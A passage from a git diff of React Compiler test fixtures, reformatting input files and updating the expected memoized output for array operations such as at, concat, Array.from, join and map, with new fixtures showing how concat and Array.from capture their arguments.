-  params: [{ a: 1, b: 20, c: 300 }],
+  params: [{a: 1, b: 20, c: 300}],
   sequentialRenders: [
-    { a: 2, b: 20, c: 300 },
-    { a: 3, b: 20, c: 300 },
-    { a: 3, b: 21, c: 300 },
-    { a: 3, b: 22, c: 300 },
-    { a: 3, b: 22, c: 301 },
+    {a: 2, b: 20, c: 300},
+    {a: 3, b: 20, c: 300},
+    {a: 3, b: 21, c: 300},
+    {a: 3, b: 22, c: 300},
+    {a: 3, b: 22, c: 301},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-at-closure.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-at-closure.expect.md
index 9f26c192f5f8..cd782c3f791b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-at-closure.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-at-closure.expect.md
@@ -19,7 +19,7 @@ function Component(props) {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function Component(props) {
-  const $ = _c(7);
+  const $ = _c(5);
   let t0;
   if ($[0] !== props.x) {
     t0 = foo(props.x);
@@ -31,26 +31,18 @@ function Component(props) {
   const x = t0;
   let t1;
   if ($[2] !== props || $[3] !== x) {
-    t1 = function () {
+    const fn = function () {
       const arr = [...bar(props)];
       return arr.at(x);
     };
+    t1 = fn();
     $[2] = props;
     $[3] = x;
     $[4] = t1;
   } else {
     t1 = $[4];
   }
-  const fn = t1;
-  let t2;
-  if ($[5] !== fn) {
-    t2 = fn();
-    $[5] = fn;
-    $[6] = t2;
-  } else {
-    t2 = $[6];
-  }
-  const fnResult = t2;
+  const fnResult = t1;
   return fnResult;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-at-effect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-at-effect.expect.md
index 3aa51ba6d6f3..a8bad5121547 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-at-effect.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-at-effect.expect.md
@@ -41,7 +41,7 @@ function ArrayAtTest(props) {
   }
   const arr = t1;
   let t2;
-  if ($[4] !== props.y || $[5] !== arr) {
+  if ($[4] !== arr || $[5] !== props.y) {
     let t3;
     if ($[7] !== props.y) {
       t3 = bar(props.y);
@@ -51,8 +51,8 @@ function ArrayAtTest(props) {
       t3 = $[8];
     }
     t2 = arr.at(t3);
-    $[4] = props.y;
-    $[5] = arr;
+    $[4] = arr;
+    $[5] = props.y;
     $[6] = t2;
   } else {
     t2 = $[6];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-at-mutate-after-capture.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-at-mutate-after-capture.expect.md
index c2ba7336360d..8f7670c94226 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-at-mutate-after-capture.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-at-mutate-after-capture.expect.md
@@ -33,6 +33,7 @@ function Component(props) {
   } else {
     x = $[1];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-concat-should-capture.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-concat-should-capture.expect.md
new file mode 100644
index 000000000000..e88eff03af2d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-concat-should-capture.expect.md
@@ -0,0 +1,68 @@
+
+## Input
+
+```javascript
+import {mutate} from 'shared-runtime';
+
+/**
+ * Fixture showing why `concat` needs to capture both the callee and rest args.
+ * Here, observe that arr1's values are captured into arr2.
+ *  - Later mutations of arr2 may write to values within arr1.
+ *  - Observe that it's technically valid to separately memoize the array arr1
+ *    itself.
+ */
+function Foo({inputNum}) {
+  const arr1: Array<number | object> = [{a: 1}, {}];
+  const arr2 = arr1.concat([1, inputNum]);
+  mutate(arr2[0]);
+  return arr2;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{inputNum: 2}],
+  sequentialRenders: [{inputNum: 2}, {inputNum: 3}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { mutate } from "shared-runtime";
+
+/**
+ * Fixture showing why `concat` needs to capture both the callee and rest args.
+ * Here, observe that arr1's values are captured into arr2.
+ *  - Later mutations of arr2 may write to values within arr1.
+ *  - Observe that it's technically valid to separately memoize the array arr1
+ *    itself.
+ */
+function Foo(t0) {
+  const $ = _c(2);
+  const { inputNum } = t0;
+  let arr2;
+  if ($[0] !== inputNum) {
+    const arr1 = [{ a: 1 }, {}];
+    arr2 = arr1.concat([1, inputNum]);
+    mutate(arr2[0]);
+    $[0] = inputNum;
+    $[1] = arr2;
+  } else {
+    arr2 = $[1];
+  }
+  return arr2;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{ inputNum: 2 }],
+  sequentialRenders: [{ inputNum: 2 }, { inputNum: 3 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) [{"a":1,"wat0":"joe"},{},1,2]
+[{"a":1,"wat0":"joe"},{},1,3]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-concat-should-capture.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-concat-should-capture.ts
new file mode 100644
index 000000000000..abd0f51fea72
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-concat-should-capture.ts
@@ -0,0 +1,21 @@
+import {mutate} from 'shared-runtime';
+
+/**
+ * Fixture showing why `concat` needs to capture both the callee and rest args.
+ * Here, observe that arr1's values are captured into arr2.
+ *  - Later mutations of arr2 may write to values within arr1.
+ *  - Observe that it's technically valid to separately memoize the array arr1
+ *    itself.
+ */
+function Foo({inputNum}) {
+  const arr1: Array<number | object> = [{a: 1}, {}];
+  const arr2 = arr1.concat([1, inputNum]);
+  mutate(arr2[0]);
+  return arr2;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [{inputNum: 2}],
+  sequentialRenders: [{inputNum: 2}, {inputNum: 3}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-expression-spread.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-expression-spread.expect.md
index 270bd7905a5c..f3af7efcf62e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-expression-spread.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-expression-spread.expect.md
@@ -3,13 +3,13 @@
 
 ```javascript
 function Component(props) {
-  const x = [0, ...props.foo, null, ...props.bar, "z"];
+  const x = [0, ...props.foo, null, ...props.bar, 'z'];
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ foo: [1, 2, 3], bar: [4, 5, 6] }],
+  params: [{foo: [1, 2, 3], bar: [4, 5, 6]}],
   isComponent: false,
 };
 
@@ -22,10 +22,10 @@ import { c as _c } from "react/compiler-runtime";
 function Component(props) {
   const $ = _c(3);
   let t0;
-  if ($[0] !== props.foo || $[1] !== props.bar) {
+  if ($[0] !== props.bar || $[1] !== props.foo) {
     t0 = [0, ...props.foo, null, ...props.bar, "z"];
-    $[0] = props.foo;
-    $[1] = props.bar;
+    $[0] = props.bar;
+    $[1] = props.foo;
     $[2] = t0;
   } else {
     t0 = $[2];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-expression-spread.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-expression-spread.js
index 85e899f9fa8e..d50b40e9191a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-expression-spread.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-expression-spread.js
@@ -1,10 +1,10 @@
 function Component(props) {
-  const x = [0, ...props.foo, null, ...props.bar, "z"];
+  const x = [0, ...props.foo, null, ...props.bar, 'z'];
   return x;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ foo: [1, 2, 3], bar: [4, 5, 6] }],
+  params: [{foo: [1, 2, 3], bar: [4, 5, 6]}],
   isComponent: false,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-from-arg1-captures-arg0.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-from-arg1-captures-arg0.expect.md
new file mode 100644
index 000000000000..12be224d8f2c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-from-arg1-captures-arg0.expect.md
@@ -0,0 +1,118 @@
+
+## Input
+
+```javascript
+import {useIdentity, Stringify} from 'shared-runtime';
+
+/**
+ * TODO: Note that this `Array.from` is inferred to be mutating its first
+ * argument. This is because React Compiler's typing system does not yet support
+ * annotating a function with a set of argument match cases + distinct
+ * definitions (polymorphism).
+ *
+ * In this case, we should be able to infer that the `Array.from` call is
+ * not mutating its 0th argument.
+ * The 0th argument should be typed as having `effect:Mutate` only when
+ * (1) it might be a mutable iterable or
+ * (2) the 1st argument might mutate its callee
+ */
+function Component({value}) {
+  const arr = [{value: 'foo'}, {value: 'bar'}, {value}];
+  useIdentity();
+  const derived = Array.from(arr, (x, idx) => ({...x, id: idx}));
+  return <Stringify>{derived.at(-1)}</Stringify>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 5}],
+  sequentialRenders: [{value: 5}, {value: 6}, {value: 6}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { useIdentity, Stringify } from "shared-runtime";
+
+/**
+ * TODO: Note that this `Array.from` is inferred to be mutating its first
+ * argument. This is because React Compiler's typing system does not yet support
+ * annotating a function with a set of argument match cases + distinct
+ * definitions (polymorphism).
+ *
+ * In this case, we should be able to infer that the `Array.from` call is
+ * not mutating its 0th argument.
+ * The 0th argument should be typed as having `effect:Mutate` only when
+ * (1) it might be a mutable iterable or
+ * (2) the 1st argument might mutate its callee
+ */
+function Component(t0) {
+  const $ = _c(10);
+  const { value } = t0;
+  let t1;
+  let t2;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = { value: "foo" };
+    t2 = { value: "bar" };
+    $[0] = t1;
+    $[1] = t2;
+  } else {
+    t1 = $[0];
+    t2 = $[1];
+  }
+  let t3;
+  if ($[2] !== value) {
+    t3 = [t1, t2, { value }];
+    $[2] = value;
+    $[3] = t3;
+  } else {
+    t3 = $[3];
+  }
+  const arr = t3;
+  useIdentity();
+  let t4;
+  if ($[4] !== arr) {
+    t4 = Array.from(arr, _temp);
+    $[4] = arr;
+    $[5] = t4;
+  } else {
+    t4 = $[5];
+  }
+  const derived = t4;
+  let t5;
+  if ($[6] !== derived) {
+    t5 = derived.at(-1);
+    $[6] = derived;
+    $[7] = t5;
+  } else {
+    t5 = $[7];
+  }
+  let t6;
+  if ($[8] !== t5) {
+    t6 = <Stringify>{t5}</Stringify>;
+    $[8] = t5;
+    $[9] = t6;
+  } else {
+    t6 = $[9];
+  }
+  return t6;
+}
+function _temp(x, idx) {
+  return { ...x, id: idx };
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ value: 5 }],
+  sequentialRenders: [{ value: 5 }, { value: 6 }, { value: 6 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"children":{"value":5,"id":2}}</div>
+<div>{"children":{"value":6,"id":2}}</div>
+<div>{"children":{"value":6,"id":2}}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-from-arg1-captures-arg0.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-from-arg1-captures-arg0.js
new file mode 100644
index 000000000000..f2b364bc60ee
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-from-arg1-captures-arg0.js
@@ -0,0 +1,26 @@
+import {useIdentity, Stringify} from 'shared-runtime';
+
+/**
+ * TODO: Note that this `Array.from` is inferred to be mutating its first
+ * argument. This is because React Compiler's typing system does not yet support
+ * annotating a function with a set of argument match cases + distinct
+ * definitions (polymorphism).
+ *
+ * In this case, we should be able to infer that the `Array.from` call is
+ * not mutating its 0th argument.
+ * The 0th argument should be typed as having `effect:Mutate` only when
+ * (1) it might be a mutable iterable or
+ * (2) the 1st argument might mutate its callee
+ */
+function Component({value}) {
+  const arr = [{value: 'foo'}, {value: 'bar'}, {value}];
+  useIdentity();
+  const derived = Array.from(arr, (x, idx) => ({...x, id: idx}));
+  return <Stringify>{derived.at(-1)}</Stringify>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 5}],
+  sequentialRenders: [{value: 5}, {value: 6}, {value: 6}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-from-captures-arg0.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-from-captures-arg0.expect.md
new file mode 100644
index 000000000000..3e89dbeae8af
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-from-captures-arg0.expect.md
@@ -0,0 +1,115 @@
+
+## Input
+
+```javascript
+import {useIdentity, Stringify} from 'shared-runtime';
+
+/**
+ * TODO: Note that this `Array.from` is inferred to be mutating its first
+ * argument. This is because React Compiler's typing system does not yet support
+ * annotating a function with a set of argument match cases + distinct
+ * definitions (polymorphism)
+ *
+ * In this case, we should be able to infer that the `Array.from` call is
+ * not mutating its 0th argument.
+ * The 0th argument should be typed as having `effect:Mutate` only when
+ * (1) it might be a mutable iterable or
+ * (2) the 1st argument might mutate its callee
+ */
+function Component({value}) {
+  const arr = [{value: 'foo'}, {value: 'bar'}, {value}];
+  useIdentity();
+  const derived = Array.from(arr);
+  return <Stringify>{derived.at(-1)}</Stringify>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 5}],
+  sequentialRenders: [{value: 5}, {value: 6}, {value: 6}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { useIdentity, Stringify } from "shared-runtime";
+
+/**
+ * TODO: Note that this `Array.from` is inferred to be mutating its first
+ * argument. This is because React Compiler's typing system does not yet support
+ * annotating a function with a set of argument match cases + distinct
+ * definitions (polymorphism)
+ *
+ * In this case, we should be able to infer that the `Array.from` call is
+ * not mutating its 0th argument.
+ * The 0th argument should be typed as having `effect:Mutate` only when
+ * (1) it might be a mutable iterable or
+ * (2) the 1st argument might mutate its callee
+ */
+function Component(t0) {
+  const $ = _c(10);
+  const { value } = t0;
+  let t1;
+  let t2;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = { value: "foo" };
+    t2 = { value: "bar" };
+    $[0] = t1;
+    $[1] = t2;
+  } else {
+    t1 = $[0];
+    t2 = $[1];
+  }
+  let t3;
+  if ($[2] !== value) {
+    t3 = [t1, t2, { value }];
+    $[2] = value;
+    $[3] = t3;
+  } else {
+    t3 = $[3];
+  }
+  const arr = t3;
+  useIdentity();
+  let t4;
+  if ($[4] !== arr) {
+    t4 = Array.from(arr);
+    $[4] = arr;
+    $[5] = t4;
+  } else {
+    t4 = $[5];
+  }
+  const derived = t4;
+  let t5;
+  if ($[6] !== derived) {
+    t5 = derived.at(-1);
+    $[6] = derived;
+    $[7] = t5;
+  } else {
+    t5 = $[7];
+  }
+  let t6;
+  if ($[8] !== t5) {
+    t6 = <Stringify>{t5}</Stringify>;
+    $[8] = t5;
+    $[9] = t6;
+  } else {
+    t6 = $[9];
+  }
+  return t6;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ value: 5 }],
+  sequentialRenders: [{ value: 5 }, { value: 6 }, { value: 6 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"children":{"value":5}}</div>
+<div>{"children":{"value":6}}</div>
+<div>{"children":{"value":6}}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-from-captures-arg0.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-from-captures-arg0.js
new file mode 100644
index 000000000000..c9b09c384de2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-from-captures-arg0.js
@@ -0,0 +1,26 @@
+import {useIdentity, Stringify} from 'shared-runtime';
+
+/**
+ * TODO: Note that this `Array.from` is inferred to be mutating its first
+ * argument. This is because React Compiler's typing system does not yet support
+ * annotating a function with a set of argument match cases + distinct
+ * definitions (polymorphism)
+ *
+ * In this case, we should be able to infer that the `Array.from` call is
+ * not mutating its 0th argument.
+ * The 0th argument should be typed as having `effect:Mutate` only when
+ * (1) it might be a mutable iterable or
+ * (2) the 1st argument might mutate its callee
+ */
+function Component({value}) {
+  const arr = [{value: 'foo'}, {value: 'bar'}, {value}];
+  useIdentity();
+  const derived = Array.from(arr);
+  return <Stringify>{derived.at(-1)}</Stringify>;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 5}],
+  sequentialRenders: [{value: 5}, {value: 6}, {value: 6}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-from-maybemutates-arg0.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-from-maybemutates-arg0.expect.md
new file mode 100644
index 000000000000..94211944955f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-from-maybemutates-arg0.expect.md
@@ -0,0 +1,84 @@
+
+## Input
+
+```javascript
+import {mutateAndReturn, Stringify, useIdentity} from 'shared-runtime';
+
+function Component({value}) {
+  const arr = [{value: 'foo'}, {value: 'bar'}, {value}];
+  useIdentity();
+  const derived = Array.from(arr).map(mutateAndReturn);
+  return (
+    <Stringify>
+      {derived.at(0)}
+      {derived.at(-1)}
+    </Stringify>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 5}],
+  sequentialRenders: [{value: 5}, {value: 6}, {value: 6}, {value: 7}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { mutateAndReturn, Stringify, useIdentity } from "shared-runtime";
+
+function Component(t0) {
+  const $ = _c(7);
+  const { value } = t0;
+  const arr = [{ value: "foo" }, { value: "bar" }, { value }];
+  useIdentity();
+  const derived = Array.from(arr).map(mutateAndReturn);
+  let t1;
+  if ($[0] !== derived) {
+    t1 = derived.at(0);
+    $[0] = derived;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  let t2;
+  if ($[2] !== derived) {
+    t2 = derived.at(-1);
+    $[2] = derived;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  let t3;
+  if ($[4] !== t1 || $[5] !== t2) {
+    t3 = (
+      <Stringify>
+        {t1}
+        {t2}
+      </Stringify>
+    );
+    $[4] = t1;
+    $[5] = t2;
+    $[6] = t3;
+  } else {
+    t3 = $[6];
+  }
+  return t3;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ value: 5 }],
+  sequentialRenders: [{ value: 5 }, { value: 6 }, { value: 6 }, { value: 7 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"children":[{"value":"foo","wat0":"joe"},{"value":5,"wat0":"joe"}]}</div>
+<div>{"children":[{"value":"foo","wat0":"joe"},{"value":6,"wat0":"joe"}]}</div>
+<div>{"children":[{"value":"foo","wat0":"joe"},{"value":6,"wat0":"joe"}]}</div>
+<div>{"children":[{"value":"foo","wat0":"joe"},{"value":7,"wat0":"joe"}]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-from-maybemutates-arg0.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-from-maybemutates-arg0.js
new file mode 100644
index 000000000000..af5bea83a3d0
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-from-maybemutates-arg0.js
@@ -0,0 +1,19 @@
+import {mutateAndReturn, Stringify, useIdentity} from 'shared-runtime';
+
+function Component({value}) {
+  const arr = [{value: 'foo'}, {value: 'bar'}, {value}];
+  useIdentity();
+  const derived = Array.from(arr).map(mutateAndReturn);
+  return (
+    <Stringify>
+      {derived.at(0)}
+      {derived.at(-1)}
+    </Stringify>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{value: 5}],
+  sequentialRenders: [{value: 5}, {value: 6}, {value: 6}, {value: 7}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-join.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-join.expect.md
index 2d06f084ffd1..0dbb7884322c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-join.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-join.expect.md
@@ -4,7 +4,7 @@
 ```javascript
 function Component(props) {
   const x = [{}, [], props.value];
-  const y = x.join(() => "this closure gets stringified, not called");
+  const y = x.join(() => 'this closure gets stringified, not called');
   foo(y);
   return [x, y];
 }
@@ -16,7 +16,7 @@ function Component(props) {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function Component(props) {
-  const $ = _c(8);
+  const $ = _c(7);
   let t0;
   let t1;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
@@ -37,25 +37,21 @@ function Component(props) {
     t2 = $[3];
   }
   const x = t2;
-  let t3;
-  if ($[4] === Symbol.for("react.memo_cache_sentinel")) {
-    t3 = () => "this closure gets stringified, not called";
-    $[4] = t3;
-  } else {
-    t3 = $[4];
-  }
-  const y = x.join(t3);
+  const y = x.join(_temp);
   foo(y);
-  let t4;
-  if ($[5] !== x || $[6] !== y) {
-    t4 = [x, y];
-    $[5] = x;
-    $[6] = y;
-    $[7] = t4;
+  let t3;
+  if ($[4] !== x || $[5] !== y) {
+    t3 = [x, y];
+    $[4] = x;
+    $[5] = y;
+    $[6] = t3;
   } else {
-    t4 = $[7];
+    t3 = $[6];
   }
-  return t4;
+  return t3;
+}
+function _temp() {
+  return "this closure gets stringified, not called";
 }
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-join.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-join.js
index 2637db4ec832..a5afaf1578d6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-join.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-join.js
@@ -1,6 +1,6 @@
 function Component(props) {
   const x = [{}, [], props.value];
-  const y = x.join(() => "this closure gets stringified, not called");
+  const y = x.join(() => 'this closure gets stringified, not called');
   foo(y);
   return [x, y];
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-captures-receiver-noAlias.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-captures-receiver-noAlias.expect.md
index e04543798748..efd094c1a536 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-captures-receiver-noAlias.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-captures-receiver-noAlias.expect.md
@@ -4,15 +4,15 @@
 ```javascript
 function Component(props) {
   // This item is part of the receiver, should be memoized
-  const item = { a: props.a };
+  const item = {a: props.a};
   const items = [item];
-  const mapped = items.map((item) => item);
+  const mapped = items.map(item => item);
   return mapped;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: { id: 42 } }],
+  params: [{a: {id: 42}}],
   isComponent: false,
 };
 
@@ -23,36 +23,23 @@ export const FIXTURE_ENTRYPOINT = {
 ```javascript
 import { c as _c } from "react/compiler-runtime";
 function Component(props) {
-  const $ = _c(6);
+  const $ = _c(2);
   let t0;
   if ($[0] !== props.a) {
-    t0 = { a: props.a };
+    const item = { a: props.a };
+    const items = [item];
+    t0 = items.map(_temp);
     $[0] = props.a;
     $[1] = t0;
   } else {
     t0 = $[1];
   }
-  const item = t0;
-  let t1;
-  if ($[2] !== item) {
-    t1 = [item];
-    $[2] = item;
-    $[3] = t1;
-  } else {
-    t1 = $[3];
-  }
-  const items = t1;
-  let t2;
-  if ($[4] !== items) {
-    t2 = items.map((item_0) => item_0);
-    $[4] = items;
-    $[5] = t2;
-  } else {
-    t2 = $[5];
-  }
-  const mapped = t2;
+  const mapped = t0;
   return mapped;
 }
+function _temp(item_0) {
+  return item_0;
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-captures-receiver-noAlias.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-captures-receiver-noAlias.js
index 4bf4668de4d3..bb06ab542e6c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-captures-receiver-noAlias.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-captures-receiver-noAlias.js
@@ -1,13 +1,13 @@
 function Component(props) {
   // This item is part of the receiver, should be memoized
-  const item = { a: props.a };
+  const item = {a: props.a};
   const items = [item];
-  const mapped = items.map((item) => item);
+  const mapped = items.map(item => item);
   return mapped;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ a: { id: 42 } }],
+  params: [{a: {id: 42}}],
   isComponent: false,
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-frozen-array-noAlias.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-frozen-array-noAlias.expect.md
index 375556bbeab1..3408ec3ffa6b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-frozen-array-noAlias.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-frozen-array-noAlias.expect.md
@@ -5,7 +5,7 @@
 function Component(props) {
   const x = [];
   <dif>{x}</dif>;
-  const y = x.map((item) => item);
+  const y = x.map(item => item);
   return [x, y];
 }
 
@@ -33,7 +33,7 @@ function Component(props) {
   const x = t0;
   let t1;
   if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
-    const y = x.map((item) => item);
+    const y = x.map(_temp);
     t1 = [x, y];
     $[1] = t1;
   } else {
@@ -41,6 +41,9 @@ function Component(props) {
   }
   return t1;
 }
+function _temp(item) {
+  return item;
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-frozen-array-noAlias.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-frozen-array-noAlias.js
index 90b7bbdd456c..394e93774292 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-frozen-array-noAlias.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-frozen-array-noAlias.js
@@ -1,7 +1,7 @@
 function Component(props) {
   const x = [];
   <dif>{x}</dif>;
-  const y = x.map((item) => item);
+  const y = x.map(item => item);
   return [x, y];
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-frozen-array.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-frozen-array.expect.md
index 375556bbeab1..3408ec3ffa6b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-frozen-array.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-frozen-array.expect.md
@@ -5,7 +5,7 @@
 function Component(props) {
   const x = [];
   <dif>{x}</dif>;
-  const y = x.map((item) => item);
+  const y = x.map(item => item);
   return [x, y];
 }
 
@@ -33,7 +33,7 @@ function Component(props) {
   const x = t0;
   let t1;
   if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
-    const y = x.map((item) => item);
+    const y = x.map(_temp);
     t1 = [x, y];
     $[1] = t1;
   } else {
@@ -41,6 +41,9 @@ function Component(props) {
   }
   return t1;
 }
+function _temp(item) {
+  return item;
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-frozen-array.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-frozen-array.js
index 90b7bbdd456c..394e93774292 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-frozen-array.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/array-map-frozen-array.js
